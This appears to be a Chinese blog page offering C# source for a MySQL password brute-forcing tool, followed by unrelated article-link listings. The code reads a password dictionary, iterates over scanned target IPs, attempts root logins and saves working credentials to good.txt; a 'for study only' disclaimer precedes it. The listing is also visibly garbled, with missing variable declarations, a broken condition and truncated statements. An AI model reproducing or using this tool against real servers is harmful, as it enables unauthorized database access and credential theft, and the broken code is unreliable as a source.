C#Mysql数据库爆破源码
声明: 代码仅供学习参考使用!开启了一个子线程,进行爆破!
速度不是很快,代码不是很规范,希望大牛不要喷我!
c#控制台程序,需要引用MySql.Data.dll
默认用户名: root
密码字典: pass.txt
扫描好的ip: ip.txt
用法:
for /f "eol= tokens=1 delims= " %%i in (ip.txt) do call 程序名称 %%i
或者
程序名称 目标地址
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Threading;
using System.Data;
using MySql.Data.MySqlClient;
using System.Diagnostics;
using System.Net.Sockets;
/**************************************
时间:2015年12月24日19:07:50
作者: 小手一抖
谨记: 源码仅供学习。
***************************************/
namespace Reaps
{
class Program
{
static string pwdPath;
static string[] fs;
;
;
static string user = "root";
private static void Connect(string ip, string user, string password)
{
string connSting = string.Concat(new string[]
{
"Server=",
ip,
";UserId=",
user,
";Password=",
password,
";Database=mysql;",
"Connection Timeout=30",
});
using (MySqlConnection conn = new MySqlConnection(connSting))
{
try
{
conn.Open();
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[Yes] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
Console.ForegroundColor = ConsoleColor.White;
string path = Environment.CurrentDirectory + @"\good.txt";
using (StreamWriter su = new StreamWriter(path, true, Encoding.Default))
{
su.WriteLine(ip + " " + user + " " + password);
}
}
catch (Exception)
{
Console.ForegroundColor = ConsoleColor.White;
Console.WriteLine("[No] Host:" + ip + "\tLogin:" + user + "\tPassword:" + password);
}
}
}
/// <summary>
/// 检测端口开放
/// </summary>
/// <param name="ip">地址</param>
/// <param name="port">端口</param>
/// <returns></returns>
private static bool IsPortOpen(string ip,int port)
{
try
{
new TcpClient(ip, port).GetStream();
return true;
}
catch (Exception)
{
return false;
}
}
private static void CrackSql(string ip)
{
{
while (true)
{
int temp = index++;
if (index > fs.Length)
{
break;
}
if (IsPortOpen(ip, dbPort))
{
Connect(ip, user, fs[temp]);
}
else
{
break;
}
}
}
}
static void Main(string[] args)
{
try
{
pwdPath = Environment.CurrentDirectory + @"\pass.txt";
fs = File.ReadAllLines(pwdPath, Encoding.Default);
Console.WriteLine("[+] 版本 2015122");
Console.WriteLine("[+] 加载数据成功");
)
{
Console.WriteLine("[+] 密码不能为0条");
Thread.Sleep();
Environment.Exit();
}
Console.WriteLine("[+] 密 码:{0} 条", fs.Length);
Thread th = ]));
th.Start();
}
catch (Exception ex)
{
Console.WriteLine("[+] 加载数据失败");
Console.WriteLine("[+] " + ex.Message.ToString());
Thread.Sleep();
Environment.Exit();
}
}
}
}
C#Mysql数据库爆破源码的更多相关文章
- PHP批量替换MySql数据库中的数据内容(替换MySql数据库内容源码)
PHP批量替换MySql数据库内容 UTF-8 1.0版 <?php //声明 //1.本源码开发意图:作者在使用一些CMS建站的时候发现很多CMS把网址写入到数据库了,如果换网址,那么就需要更 ...
- linux下MySQL 5.6源码安装
linux下MySQL 5.6源码安装 1.下载:当前mysql版本到了5.6.20 http://dev.mysql.com/downloads/mysql 选择Source Code 2.必要软件 ...
- MySQL 5.7 源码中的目录结构
MySQl Server的源码可以直接去Github浏览. 这里我们选择5.7版本的:https://github.com/mysql/mysql-server/tree/5.7 也可以通过: git ...
- 时序数据库 Apache-IoTDB 源码解析之系统架构(二)
上一章聊到时序数据是什么样,物联网行业中的时序数据的特点:存量数据大.新增数据多(采集频率高.设备量多).详情请见: 时序数据库 Apache-IoTDB 源码解析之前言(一) 打一波广告,欢迎大家访 ...
- (3.1)mysql基础深入——mysql二进制与源码目录结构介绍
(3.1)mysql基础深入——mysql二进制与源码目录结构介绍 关键字:二进制目录结构,源码目录结构(编译安装目录结构) 1.二进制安装程序目录结构 [1] BIN -- mysql的可执行文件( ...
- Linux 中mysql安装(源码安装方式)
本文是介绍以源码安装的方式编译和安装Mysql 5.6(可以指定安装路径),也可以不采用源码安装方式,直接用安装包的方式. 源码安装方式慎用,容易报错. 1.卸载旧版本 rpm -qa | grep ...
- 时序数据库 Apache-IoTDB 源码解析之文件数据块(四)
上一章聊到行式存储.列式存储的基本概念,并介绍了 TsFile 是如何存储数据以及基本概念.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三) 打一波广告,欢迎大家访问Io ...
- 时序数据库 Apache-IoTDB 源码解析之文件格式简介(三)
上一章聊到在车联网或物联网中对数据库的需求,以及 IoTDB 的整体架构,详情请见: 时序数据库 Apache-IoTDB 源码解析之系统架构(二) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 ...
- 时序数据库 Apache-IoTDB 源码解析之文件索引块(五)
上一章聊到 TsFile 的文件组成,以及数据块的详细介绍.详情请见: 时序数据库 Apache-IoTDB 源码解析之文件数据块(四) 打一波广告,欢迎大家访问IoTDB 仓库,求一波 Star. ...
随机推荐
- BOM头问题
最近有不少在微博上谈论BOM头问题,BOM头会造成页面展示的乱码,xml分析出现问题.而我恰巧遇到一种情况,在wml页面中如果加上BOM头,PC浏览器(IE,火狐)和手机浏览器(UC)都很正常,而如果 ...
- awk的思维导图
- (摘)SP2-0750: You may need to set ORACLE_HOME to your Oracle software directory
Linux下安装好Oracle 10g后运行sqlplus出现故障如下:[oracle@localhost oracle]$ ./sqlplusError 6 initializing SQL*Plu ...
- poj 3232 Accelerator
http://poj.org/problem?id=3232 题意:有一个含有n辆车的车队,当前距离终点的距离已知,有m个加速器,每个加速器在一个时刻只能给一辆车用,一旦使用就会使得其速度由1变成k, ...
- 在keil中使用printf()函数的要点
在keil中printf默认是向串口中发送数据的,所以,如果应用该函数,必须先初始化串口,否则可能引起死机的情况,并且在printf之前应该先将TI置位,摘抄原因如下: 1.printf函数是调用pu ...
- JavaScript 中的非真值
False values 下面这些值将被计算出 false (also known as Falsy values): false undefined null 0 NaN 空字符串 ("& ...
- Android特效 五种Toast详解
Toast是Android中用来显示显示信息的一种机制,和Dialog不一样的是,Toast是没有焦点的,而且Toast显示的时间有限,过一定的时间就会自动消失.而且Toast主要用于向用户显示提示消 ...
- 【转】单双精度浮点数的IEEE标准格式
原文网址:http://blog.chinaunix.net/uid-24118190-id-75212.html 单双精度浮点数的IEEE标准格式 关键字:浮点数 IEEE标准 大多数高级语言按照I ...
- 2014-08-04 BBS主页页面的设计
今天是在吾索实习的第19天.这天,开始参照一开始设计的界面原型,真真正正地进行BBS界面的设计.在运用.NET进行界面设计时,发现没有用RP进行界面设计来得容易,很多都要再进行更精细的操作,才能达到原 ...
- JFreeChart学习
一.步骤: 创建数据集(准备数据) 根据数据集生成JFreeChart对象,并对其做相应的设置(标题,图例,x轴,Y轴,对象渲染等) 将JFreeChart对象输出到文件或者Servlet输出流等 二 ...